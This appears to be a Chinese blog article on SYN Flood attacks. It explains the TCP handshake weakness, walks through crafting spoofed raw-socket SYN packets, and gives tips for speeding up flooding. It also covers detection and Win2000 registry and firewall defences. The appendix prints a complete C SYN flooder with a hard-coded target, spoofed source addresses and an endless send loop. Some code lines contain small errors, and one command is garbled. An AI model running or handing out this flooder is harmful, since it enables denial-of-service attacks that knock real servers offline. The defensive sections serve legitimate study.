SYN Flood攻击的基本原理及防御

 

第一部分 SYN Flood 的基本原理
   
SYN Flood
是当前最流行的 DoS (拒绝服务攻击)与 DDoS (分布式拒绝服务攻击)的方式之一,这是一种利用 TCP 协议缺陷,发送大量伪造的 TCP 连接请求,从而使得被攻击方资源耗尽( CPU 满负荷或内存不足)的攻击方式。
   
要明白这种攻击的基本原理,还是要从 TCP 连接建立的过程开始说起:
大家都知道, TCP UDP 不同,它是基于连接的,也就是说:为了在服务端和客户端之间传送 TCP 数据,必须先建立一个虚拟电路,也就是 TCP 连接,建立 TCP 连接的标准过程是这样的:
首先,请求端(客户端)发送一个包含 SYN 标志的 TCP 报文, SYN 即同步( Synchronize ),同步报文会指明客户端使用的端口以及 TCP 连接的初始序号;
第二步,服务器在收到客户端的 SYN 报文后,将返回一个 SYN+ACK 的报文,表示客户端的请求被接受,同时 TCP 序号被加一, ACK 即确认( Acknowledgement )。
第三步,客户端也返回一个确认报文 ACK 给服务器端,同样 TCP 序列号被加一,到此一个 TCP 连接完成。
以上的连接过程在 TCP 协议中被称为三次握手( Three-way Handshake )。
   
问题就出在 TCP 连接的三次握手中,假设一个用户向服务器发送了 SYN 报文后突然死机或掉线,那么服务器在发出 SYN+ACK 应答报文后是无法收到客户端的 ACK 报文的(第三次握手无法完成),这种情况下服务器端一般会重试(再次发送 SYN+ACK 给客户端)并等待一段时间后丢弃这个未完成的连接,这段时间的长度我们称为 SYN Timeout ,一般来说这个时间是分钟的数量级(大约为 30 -2 分钟);一个用户出现异常导致服务器的一个线程等待 1 分钟并不是什么很大的问题,但如果有一个恶意的攻击者大量模拟这种情况,服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源 ---- 数以万计的半连接,即使是简单的保存并遍历也会消耗非常多的 CPU 时间和内存,何况还要不断对这个列表中的 IP 进行 SYN+ACK 的重试。实际上如果服务器的 TCP/IP 栈不够强大,最后的结果往往是堆栈溢出崩溃 --- 即使服务器端的系统足够强大,服务器端也将忙于处理攻击者伪造的 TCP 连接请求而无暇理睬客户的正常请求(毕竟客户端的正常请求比率非常之小),此时从正常客户的角度看来,服务器失去响应,这种情况我们称作:服务器端受到了 SYN Flood 攻击( SYN 洪水攻击)。
   
从防御角度来说,有几种简单的解决方法,第一种是缩短 SYN Timeout 时间,由于 SYN Flood 攻击的效果取决于服务器上保持的 SYN 半连接数,这个值 =SYN 攻击的频度 x  SYN Timeout ,所以通过缩短从接收到 SYN 报文到确定这个报文无效并丢弃改连接的时间,例如设置为 20 秒以下(过低的 SYN Timeout 设置可能会影响客户的正常访问),可以成倍的降低服务器的负荷。
   
第二种方法是设置 SYN Cookie ,就是给每一个请求连接的 IP 地址分配一个 Cookie ,如果短时间内连续受到某个 IP 的重复 SYN 报文,就认定是受到了攻击,以后从这个 IP 地址来的包会被一概丢弃。
   
可是上述的两种方法只能对付比较原始的 SYN Flood 攻击,缩短 SYN Timeout 时间仅在对方攻击频度不高的情况下生效, SYN Cookie 更依赖于对方使用真实的 IP 地址,如果攻击者以数万 / 秒的速度发送 SYN 报文,同时利用 SOCK_RAW 随机改写 IP 报文中的源地址,以上的方法将毫无用武之地。
   
   
   
   
   
   
   
   
第二部份 SYN Flooder 源码解读
   
   
下面我们来分析 SYN Flooder 的程序实现。
首先,我们来看一下 TCP 报文的格式:
   
0         1         2         3         4         5         6
    0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |      
IP首部       |    TCP首部       |    TCP数据段     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
              
图一 TCP 报文结构
   
如上图所示,一个 TCP 报文由三个部分构成: 20 字节的 IP 首部、 20 字节的 TCP 首部与不定长的数据段,(实际操作时可能会有可选的 IP 选项,这种情况下 TCP 首部向后顺延)由于我们只是发送一个 SYN 信号,并不传递任何数据,所以 TCP 数据段为空。 TCP 首部的数据结构为:
   
   0                   1                   2                   3   
   0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |            
十六位源端口号     |            十六位目标端口号     |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                        
三十二位序列号                          |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                        
三十二位确认号                          |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |
四位   |           |U|A|P|R|S|F|                               |
   |
首部   | 六位保留位 |R|C|S|S|Y|I|          十六位窗口大小         |
   |
长度   |           |G|K|H|T|N|N|                               |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |           
十六位校验和         |          十六位紧急指针         |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                          
选项(若有)                          |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                          
数据(若有)                          |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
                     
图二   TCP 首部结构
   
根据 TCP 报文格式,我们定义一个结构 TCP_HEADER 用来存放 TCP 首部:
typedef struct _tcphdr               
{
        USHORT th_sport;               //16
位源端口
    USHORT th_dport;             //16
位目的端口
        unsigned int th_seq;         //32
位序列号
        unsigned int th_ack;         //32
位确认号
        unsigned char th_lenres;        //4
位首部长度 +6 位保留字中的 4
        unsigned char th_flag;            //2
位保留字 +6 位标志位
        USHORT th_win;                 //16
位窗口大小
        USHORT th_sum;                 //16
位校验和
        USHORT th_urp;                 //16
位紧急数据偏移量
}TCP_HEADER;
通过以正确的数据填充这个结构并将 TCP_HEADER.th_flag 赋值为 2 (二进制的 00000010 )我们能制造一个 SYN TCP 报文,通过大量发送这个报文可以实现 SYN Flood 的效果。但是为了进行 IP 欺骗从而隐藏自己,也为了躲避服务器的 SYN Cookie 检查,还需要直接对 IP 首部进行操作:
0                   1                   2                   3   
   0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |
版本   | 长度   | 八位服务类型   |          十六位总长度           |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |           
十六位标识           | 标志 |    十三位片偏移         |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |
八位生存时间   |    八位协议     |          十六位首部校验和       |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                     
三十二位源IP地址                       |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                     
三十二位目的IP地址                       |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                          
选项(若有)                          |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                          
  数据                            |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
                        
图三   IP 首部结构
同样定义一个 IP_HEADER 来存放 IP 首部
typedef struct _iphdr
{
        unsigned char h_verlen;            //4
位首部长度 +4 IP 版本号
        unsigned char tos;               //8
位服务类型 TOS
        unsigned short total_len;      //16
位总长度(字节)
        unsigned short ident;            //16
位标识
        unsigned short frag_and_flags;  //3
位标志位
        unsigned char  ttl;              //8
位生存时间 TTL
        unsigned char proto;         //8
位协议号 (TCP, UDP 或其他 )
        unsigned short checksum;        //16
IP 首部校验和
        unsigned int sourceIP;            //32
位源 IP 地址
        unsigned int destIP;         //32
位目的 IP 地址
}IP_HEADER;
然后通过 SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED));
   
建立一个原始套接口,由于我们的 IP 源地址是伪造的,所以不能指望系统帮我们计算 IP 校验和,我们得在在 setsockopt 中设置 IP_HDRINCL 告诉系统自己填充 IP 首部并自己计算校验和:
    flag=TRUE;
    setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
IP
校验和的计算方法是:首先将 IP 首部的校验和字段设为 0 IP_HEADER.checksum=0 , 然后计算整个 IP 首部(包括选项)的二进制反码的和,一个标准的校验和函数如下所示:
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
        while(size >1) {
            cksum+=*buffer++;
            size -=sizeof(USHORT);
        }
        if(size ) cksum += *(UCHAR*)buffer;
    cksum = (cksum >> 16) + (cksum & 0xffff);
        cksum += (cksum >>16);
        return (USHORT)(~cksum);
}
这个函数并没有经过任何的优化,由于校验和函数是 TCP/IP 协议中被调用最多函数之一,所以一般说来,在实现 TCP/IP 栈时,会根据操作系统对校验和函数进行优化。
TCP
首部检验和与 IP 首部校验和的计算方法相同,在程序中使用同一个函数来计算。
需要注意的是,由于 TCP 首部中不包含源地址与目标地址等信息,为了保证 TCP 校验的有效性,在进行 TCP 校验和的计算时,需要增加一个 TCP 伪首部的校验和,定义如下:
struct                        
{
        unsigned long saddr;     //
源地址
        unsigned long daddr;     //
目的地址
        char mbz;                    //
置空
        char ptcl;                   //
协议类型
        unsigned short tcpl;     //TCP
长度
}psd_header;
然后我们将这两个字段复制到同一个缓冲区 SendBuf 中并计算 TCP 校验和:
memcpy(SendBuf,&psd_header,sizeof(psd_header));   
    memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
    tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));
计算 IP 校验和的时候不需要包括 TCP 伪首部:
memcpy(SendBuf,&ip_header,sizeof(ip_header));
    memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
    ip_header.checksum=checksum((USHORT *)SendBuf, sizeof(ip_header)+sizeof(tcp_header));
   
再将计算过校验和的 IP 首部与 TCP 首部复制到同一个缓冲区中就可以直接发送了:
    memcpy(SendBuf,&ip_header,sizeof(ip_header));
    sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*) &DestAddr,sizeof(DestAddr));
   
因为整个 TCP 报文中的所有部分都是我们自己写入的(操作系统不会做任何干涉),所以我们可以在 IP 首部中放置随机的源 IP 地址,如果伪造的源 IP 地址确实有人使用,他在接收到服务器的 SYN+ACK 报文后会发送一个 RST 报文(标志位为 00000100 ),通知服务器端不需要等待一个无效的连接,可是如果这个伪造 IP 并没有绑定在任何的主机上,不会有任何设备去通知主机该连接是无效的(这正是 TCP 协议的缺陷),主机将不断重试直到 SYN Timeout 时间后才能丢弃这个无效的半连接。所以当攻击者使用主机分布很稀疏的 IP 地址段进行伪装 IP SYN Flood 攻击时,服务器主机承受的负荷会相当的高,根据测试,一台 PIII 550MHz+128MB+100Mbps 的机器使用经过初步优化的 SYN Flooder 程序可以以 16,000 / 秒的速度发送 TCP SYN 报文,这样的攻击力已经足以拖垮大部分 WEB 服务器了。
   
稍微动动脑筋我们就会发现,想对 SYN Flooder 程序进行优化是很简单的,从程序构架来看,攻击时循环内的代码主要是进行校验和计算与缓冲区的填充,一般的思路是提高校验和计算的速度,我甚至见过用汇编代码编写的校验和函数,实际上,有另外一个变通的方法可以轻松实现优化而又不需要高深的编程技巧和数学知识,(老实说吧,我数学比较差 :P ),我们仔细研究了两个不同源地址的 TCP SYN 报文后发现,两个报文的大部分字段相同(比如目的地址、协议等等),只有源地址和校验和不同(如果为了隐蔽,源端口也可以有变化,但是并不影响我们算法优化的思路),如果我们事先计算好大量的源地址与校验和的对应关系表(如果其他的字段有变化也可以加入这个表),等计算完毕了攻击程序就只需要单纯的组合缓冲区并发送(用指针来直接操作缓冲区的特定位置,从事先计算好的对应关系表中读出数据,替换缓冲区相应字段),这种简单的工作完全取决于系统发送 IP 包的速度,与程序的效率没有任何关系,这样,即使是 CPU 主频较低的主机也能快速的发送大量 TCP SYN 攻击包。如果考虑到缓冲区拼接的时间,甚至可以定义一个很大的缓冲区数组,填充完毕后再发送(雏鹰给这种方法想了一个很贴切的比喻:火箭炮装弹虽然很慢,但是一旦炮弹上膛了以后就可以连续猛烈地发射了 : )。
   
   
   
   
   
第三部分 SYN Flood 攻击的监测与防御初探
   
对于 SYN Flood 攻击,目前尚没有很好的监测和防御方法,不过如果系统管理员熟悉攻击方法和系统架构,通过一系列的设定,也能从一定程度上降低被攻击系统的负荷,减轻负面的影响。(这正是我撰写本文的主要目的)
   
一般来说,如果一个系统(或主机)负荷突然升高甚至失去响应,使用 Netstat 命令能看到大量 SYN_RCVD 的半连接(数量 >500 或占总连接数的 10% 以上),可以认定,这个系统(或主机)遭到了 SYN Flood 攻击。
   
遭到 SYN Flood 攻击后,首先要做的是取证,通过 Netstat Cn Cp tcp >resault.txt 记录目前所有 TCP 连接状态是必要的,如果有嗅探器,或者 TcpDump 之类的工具,记录 TCP SYN 报文的所有细节也有助于以后追查和防御,需要记录的字段有:源地址、 IP 首部中的标识、 TCP 首部中的序列号、 TTL 值等,这些信息虽然很可能是攻击者伪造的,但是用来分析攻击者的心理状态和攻击程序也不无帮助。特别是 TTL 值,如果大量的攻击包似乎来自不同的 IP 但是 TTL 值却相同,我们往往能推断出攻击者与我们之间的路由器距离,至少也可以通过过滤特定 TTL 值的报文降低被攻击系统的负荷(在这种情况下 TTL 值与攻击报文不同的用户就可以恢复正常访问)
   
前面曾经提到可以通过缩短 SYN Timeout 时间和设置 SYN Cookie 来进行 SYN 攻击保护,对于 Win2000 系统,还可以通过修改注册表降低 SYN Flood 的危害,在注册表中作如下改动:
首先,打开 regedit ,找到 HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/Tcpip/Parameters
增加一个 SynAttackProtect 的键值,类型为 REG_DWORD ,取值范围是 0-2 ,这个值决定了系统受到 SYN 攻击时采取的保护措施,包括减少系统 SYN+ACK 的重试的次数等,默认值是 0 (没有任何保护措施),推荐设置是 2
增加一个 TcpMaxHalfOpen 的键值,类型为 REG_DWORD ,取值范围是 100-0xFFFF ,这个值是系统允许同时打开的半连接,默认情况下 WIN2K PRO SERVER 100 ADVANCED SERVER 500 ,这个值很难确定,取决于服务器 TCP 负荷的状况和可能受到的攻击强度,具体的值需要经过试验才能决定。
   
增加一个 TcpMaxHalfOpenRetried 的键值,类型为 REG_DWORD ,取值范围是 80-0xFFFF ,默认情况下 WIN2K PRO SERVER 80 ADVANCED SERVER 400 ,这个值决定了在什么情况下系统会打开 SYN 攻击保护。
   
   
我们来分析一下 Win2000 SYN 攻击保护机制:正常情况下, Win2K TCP 连接的三次握手有一个常规的设置,包括 SYN Timeout 时间、 SYN-ACK 的重试次数和 SYN 报文从路由器到系统再到 Winsock 的延时等,这个常规设置是针对系统性能进行优化的(安全和性能往往相互矛盾)所以可以给用户提供方便快捷的服务;一旦服务器受到攻击, SYN 半连接的数量超过 TcpMaxHalfOpenRetried 的设置,系统会认为自己受到了 SYN Flood 攻击,此时设置在 SynAttackProtect 键值中的选项开始作用, SYN Timeout 时间被减短, SYN-ACK 的重试次数减少,系统也会自动对缓冲区中的报文进行延时,避免对 TCP/IP 堆栈造成过大的冲击,力图将攻击危害减到最低;如果攻击强度不断增大,超过了 TcpMaxHalfOpen 值,此时系统已经不能提供正常的服务了,更重要的是保证系统不会崩溃,所以系统将会丢弃任何超出 TcpMaxHalfOpen 值范围的 SYN 报文(应该是使用随机丢包策略),保证系统的稳定性。
   
所以,对于需要进行 SYN 攻击保护的系统,我们可以测试 / 预测一下访问峰值时期的半连接打开量,以其作为参考设定 TcpMaxHalfOpenRetried 的值(保留一定的余量),然后再以 TcpMaxHalfOpenRetried 1.25 倍作为 TcpMaxHalfOpen 值,这样可以最大限度地发挥 WIN2K 自身的 SYN 攻击保护机制。
   
通过设置注册表防御 SYN Flood 攻击,采用的是 挨打 的策略,无论系统如何强大,始终不能光靠挨打支撑下去,除了挨打之外, 退让 也是一种比较有效的方法。
   
退让策略是基于 SYN Flood 攻击代码的一个缺陷,我们重新来分析一下 SYN Flood 攻击者的流程: SYN Flood 程序有两种攻击方式,基于 IP 的和基于域名的,前者是攻击者自己进行域名解析并将 IP 地址传递给攻击程序,后者是攻击程序自动进行域名解析,但是它们有一点是相同的,就是一旦攻击开始,将不会再进行域名解析,我们的切入点正是这里:假设一台服务器在受到 SYN Flood 攻击后迅速更换自己的 IP 地址,那么攻击者仍在不断攻击的只是一个空的 IP 地址,并没有任何主机,而防御方只要将 DNS 解析更改到新的 IP 地址就能在很短的时间内(取决于 DNS 的刷新时间)恢复用户通过域名进行的正常访问。为了迷惑攻击者,我们甚至可以放置一台 牺牲 服务器让攻击者满足于攻击的 效果 (由于 DNS 缓冲的原因,只要攻击者的浏览器不重起,他访问的仍然是原先的 IP 地址)。
   
同样的原因,在众多的负载均衡架构中,基于 DNS 解析的负载均衡本身就拥有对 SYN Flood 的免疫力,基于 DNS 解析的负载均衡能将用户的请求分配到不同 IP 的服务器主机上,攻击者攻击的永远只是其中一台服务器,虽然说攻击者也能不断去进行 DNS 请求从而打破这种 退让 策略,但是一来这样增加了攻击者的成本,二来过多的 DNS 请求可以帮助我们追查攻击者的真正踪迹( DNS 请求不同于 SYN 攻击,是需要返回数据的,所以很难进行 IP 伪装)。
   
   
对于防火墙来说,防御 SYN Flood 攻击的方法取决于防火墙工作的基本原理,一般说来,防火墙可以工作在 TCP 层之上或 IP 层之下,工作在 TCP 层之上的防火墙称为网关型防火墙,网关型防火墙与服务器、客户机之间的关系如下图所示:
   
外部 TCP 连接                 内部 TCP 连接
    [
客户机 ] =================>[ 防火墙 ] =================>[ 服务器 ]
     
   
如上图所示,客户机与服务器之间并没有真正的 TCP 连接,客户机与服务器之间的所有数据交换都是通过防火墙代理的,外部的 DNS 解析也同样指向防火墙,所以如果网站被攻击,真正受到攻击的是防火墙,这种防火墙的优点是稳定性好,抗打击能力强,但是因为所有的 TCP 报文都需要经过防火墙转发,所以效率比较低由于客户机并不直接与服务器建立连接,在 TCP 连接没有完成时防火墙不会去向后台的服务器建立新的 TCP 连接,所以攻击者无法越过防火墙直接攻击后台服务器,只要防火墙本身做的足够强壮,这种架构可以抵抗相当强度的 SYN Flood 攻击。但是由于防火墙实际建立的 TCP 连接数为用户连接数的两倍(防火墙两端都需要建立 TCP 连接),同时又代理了所有的来自客户端的 TCP 请求和数据传送,在系统访问量较大时,防火墙自身的负荷会比较高,所以这种架构并不能适用于大型网站。(我感觉,对于这样的防火墙架构,使用 TCP_STATE 攻击估计会相当有效 :
   
工作在 IP 层或 IP 层之下的防火墙(路由型防火墙)工作原理有所不同,它与服务器、客户机的关系如下图所示:
[
防火墙 ] 数据包修改转发
    [
客户机 ]========|=======================>[ 服务器 ]
TCP
连接
   
   
客户机直接与服务器进行 TCP 连接,防火墙起的是路由器的作用,它截获所有通过的包并进行过滤,通过过滤的包被转发给服务器,外部的 DNS 解析也直接指向服务器,这种防火墙的优点是效率高,可以适应 100Mbps-1Gbps 的流量,但是这种防火墙如果配置不当,不仅可以让攻击者越过防火墙直接攻击内部服务器,甚至有可能放大攻击的强度,导致整个系统崩溃。
   
在这两种基本模型之外,有一种新的防火墙模型,我个人认为还是比较巧妙的,它集中了两种防火墙的优势,这种防火墙的工作原理如下所示:
第一阶段,客户机请求与防火墙建立连接:
SYN                           SYN+ACK                           ACK
    [
客户机 ]---- >[ 防火墙 ]   =>   [ 防火墙 ]-------- >[ 客户机 ]   =>   [ 客户机 ]--- >[ 防火墙 ]
   
第二阶段,防火墙伪装成客户机与后台的服务器建立连接
[
防火墙 ]< =========== >[ 服务器 ]
TCP
连接
   
   
第三阶段,之后所有从客户机来的 TCP 报文防火墙都直接转发给后台的服务器
防火墙转发
[
客户机 ]< ======|======= >[ 服务器 ]
                     TCP
连接
   
这种结构吸取了上两种防火墙的优点,既能完全控制所有的 SYN 报文,又不需要对所有的 TCP 数据报文进行代理,是一种两全其美的方法。
近来,国外和国内的一些防火墙厂商开始研究带宽控制技术,如果能真正做到严格控制、分配带宽,就能很大程度上防御绝大多数的拒绝服务攻击,我们还是拭目以待吧。
   
附录: Win2000 下的 SYN Flood 程序
改编自 Linux Zakath 编写的 SYN Flooder
编译环境: VC++6.0, 编译时需要包含 ws2_32.lib
//
//                                                                      //
//  SYN Flooder For Win2K by Shotgun                                    //
//                                                                      //
//  THIS PROGRAM IS MODIFIED FROM A LINUX VERSION BY Zakath             //
//  THANX Lion Hook FOR PROGRAM OPTIMIZATION                            //
//                                                                      //
//  Released:    [2001.4]                                                //
//  Author:     [Shotgun]                                               //
//  Homepage:                                                           //
//              [http://IT.Xici.Net]                                    //
//              [http://WWW.Patching.Net]                               //
//                                                                      //
//
#include <winsock2.h>
#include <Ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
#define SEQ 0x28376839
#define SYN_DEST_IP "192.168.15.250"//
被攻击的 IP
#define FAKE_IP "10.168.150.1"       //
伪装 IP 的起始值,本程序的伪装 IP 覆盖一个 B 类网段
#define STATUS_FAILED 0xFFFF      //
错误返回值
   
typedef struct _iphdr              //
定义 IP 首部
{
    unsigned char h_verlen;            //4
位首部长度 ,4 IP 版本号
    unsigned char tos;               //8
位服务类型 TOS
    unsigned short total_len;      //16
位总长度(字节)
    unsigned short ident;            //16
位标识
    unsigned short frag_and_flags;  //3
位标志位
    unsigned char  ttl;              //8
位生存时间 TTL
    unsigned char proto;         //8
位协议 (TCP, UDP 或其他 )
    unsigned short checksum;        //16
IP 首部校验和
    unsigned int sourceIP;            //32
位源 IP 地址
    unsigned int destIP;         //32
位目的 IP 地址
}IP_HEADER;
   
struct                              //
定义 TCP 伪首部
{
        unsigned long saddr;     //
源地址
        unsigned long daddr;     //
目的地址
        char mbz;
        char ptcl;                   //
协议类型
        unsigned short tcpl;     //TCP
长度
}psd_header;
   
typedef struct _tcphdr             //
定义 TCP 首部
{
    USHORT th_sport;               //16
位源端口
    USHORT th_dport;               //16
位目的端口
    unsigned int th_seq;         //32
位序列号
    unsigned int th_ack;         //32
位确认号
    unsigned char th_lenres;        //4
位首部长度 /6 位保留字
    unsigned char th_flag;            //6
位标志位
    USHORT th_win;                 //16
位窗口大小
    USHORT th_sum;                 //16
位校验和
    USHORT th_urp;                 //16
位紧急数据偏移量
}TCP_HEADER;
   
//CheckSum:
计算校验和的子函数
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
      while(size >1) {
    cksum+=*buffer++;
    size -=sizeof(USHORT);
  }
  if(size ) {
    cksum += *(UCHAR*)buffer;
  }
  cksum = (cksum >> 16) + (cksum & 0xffff);
  cksum += (cksum >>16);
  return (USHORT)(~cksum);
}
   
//  SynFlood
主函数
int main()
{
    int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;
    int TimeOut=2000,SendSEQ=0;
    char SendBuf[128]={0};
    char RecvBuf[65535]={0};
    WSADATA wsaData;
    SOCKET SockRaw=(SOCKET)NULL;
    struct sockaddr_in DestAddr;
    IP_HEADER ip_header;
    TCP_HEADER tcp_header;
    //
初始化 SOCK_RAW
    if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){
        fprintf(stderr,"WSAStartup failed: %d/n",ErrorCode);
        ExitProcess(STATUS_FAILED);
    }
    SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED));
if (SockRaw==INVALID_SOCKET){
        fprintf(stderr,"WSASocket() failed: %d/n",WSAGetLastError());
        ExitProcess(STATUS_FAILED);
    }
    flag=TRUE;
    //
设置 IP_HDRINCL 以自己填充 IP 首部
    ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
If (ErrorCode==SOCKET_ERROR)  printf("Set IP_HDRINCL Error!/n");
    __try{
        //
设置发送超时
        ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
if(ErrorCode==SOCKET_ERROR){
            fprintf(stderr,"Failed to set send TimeOut: %d/n",WSAGetLastError());
            __leave;
        }
        memset(&DestAddr,0,sizeof(DestAddr));
        DestAddr.sin_family=AF_INET;
        DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);
        FakeIpNet=inet_addr(FAKE_IP);
        FakeIpHost=ntohl(FakeIpNet);
        //
填充 IP 首部
        ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));
//
高四位 IP 版本号,低四位首部长度
        ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));     //16
位总长度(字节)
        ip_header.ident=1;                                                       //16
位标识
        ip_header.frag_and_flags=0;                                               //3
位标志位
        ip_header.ttl=128;                                                       //8
位生存时间 TTL
        ip_header.proto=IPPROTO_TCP;                                          //8
位协议 (TCP,UDP…)
        ip_header.checksum=0;                                                    //16
IP 首部校验和
        ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);                          //32
位源 IP 地址
        ip_header.destIP=inet_addr(SYN_DEST_IP);                               //32
位目的 IP 地址
    //
填充 TCP 首部
        tcp_header.th_sport=htons(7000);                                      //
源端口号
        tcp_header.th_dport=htons(8080);                                      //
目的端口号
        tcp_header.th_seq=htonl(SEQ+SendSEQ);                                  //SYN
序列号
        tcp_header.th_ack=0;                                                 //ACK
序列号置为 0
        tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0);                        //TCP
长度和保留位
        tcp_header.th_flag=2;                                                    //SYN
标志
        tcp_header.th_win=htons(16384);                                           //
窗口大小
        tcp_header.th_urp=0;                                                 //
偏移
        tcp_header.th_sum=0;                                                 //
校验和
        //
填充 TCP 伪首部(用于计算校验和,并不真正发送)
        psd_header.saddr=ip_header.sourceIP;                                    //
源地址
        psd_header.daddr=ip_header.destIP;                                      //
目的地址
        psd_header.mbz=0;
        psd_header.ptcl=IPPROTO_TCP;                                            //
协议类型
        psd_header.tcpl=htons(sizeof(tcp_header));                              //TCP
首部长度
        while(1) {
            //
每发送 10,240 个报文输出一个标示符
            printf(".");
            for(counter=0;counter<10240;counter++){
                if(SendSEQ++==65536) SendSEQ=1;                                  //
序列号循环
                //
更改 IP 首部
                ip_header.checksum=0;                                            //16
IP 首部校验和
                ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);                  //32
位源 IP 地址
                //
更改 TCP 首部
                tcp_header.th_seq=htonl(SEQ+SendSEQ);                          //SYN
序列号
                tcp_header.th_sum=0;                                         //
校验和
                //
更改 TCP Pseudo Header
                psd_header.saddr=ip_header.sourceIP;                  
                //
计算 TCP 校验和,计算校验和时需要包括 TCP pseudo header         
                memcpy(SendBuf,&psd_header,sizeof(psd_header));   
                memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
                tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));
                //
计算 IP 校验和
                memcpy(SendBuf,&ip_header,sizeof(ip_header));
                memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
                memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);
                datasize=sizeof(ip_header)+sizeof(tcp_header);
                ip_header.checksum=checksum((USHORT *)SendBuf,datasize);
                //
填充发送缓冲区
                memcpy(SendBuf,&ip_header,sizeof(ip_header));
                //
发送 TCP 报文
                ErrorCode=sendto(SockRaw,
                                SendBuf,
                                datasize,
                                0,
                                (struct sockaddr*) &DestAddr,
                                sizeof(DestAddr));
if (ErrorCode==SOCKET_ERROR) printf("/nSend Error:%d/n",GetLastError());
            }//End of for
        }//End of While
    }//End of try
  __finally {
    if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);
    WSACleanup();
  }
  return 0;
}
 
  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值